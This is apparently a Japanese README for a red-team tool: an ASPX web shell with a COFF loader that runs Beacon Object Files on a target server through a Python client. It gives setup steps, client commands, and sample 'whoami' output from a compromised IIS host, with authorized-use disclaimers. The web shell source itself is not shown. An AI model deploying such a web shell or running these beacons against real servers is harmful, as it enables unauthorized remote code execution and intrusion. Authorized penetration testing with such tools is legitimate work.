
COFFローダーを備えたASPX Webシェルで、半対話型Pythonクライアントを介してターゲットサーバー上でBeacon Object Files (BOFs)を実行するためのもので、許可されたペネトレーションテスト向けに設計されています。
TrustedSec の CS_COFFLoader に基づく
この ASPX web shell は、セミインタラクティブな Python クライアントを使用して、ターゲットサーバー上で Beacon Object Files (BOFs) の実行を可能にします。
これは、TrustedSec の CS_COFFLoader から派生した COFF ローダーの実装を利用しています。
このプロジェクトは、厳密にセキュリティ研究および許可されたペネトレーションテスト を目的としています。このプロジェクトを使用することにより、適用されるすべての法律および規制を遵守することに同意したものとみなされます。
使用する前に、以下が必要です:
https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object から beacon_compatibility.c をコンパイルし、ASPX ファイル内の {{BEACON_DATA}} プレースホルダを Base64 エンコードされたオブジェクトファイルに置き換えます。
BOF をコンパイルします(例:https://github.com/trustedsec/CS-Situational-Awareness-BOF)。Web クライアントでコンパイル済み BOF が格納されたディレクトリへのパスを指定します。
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....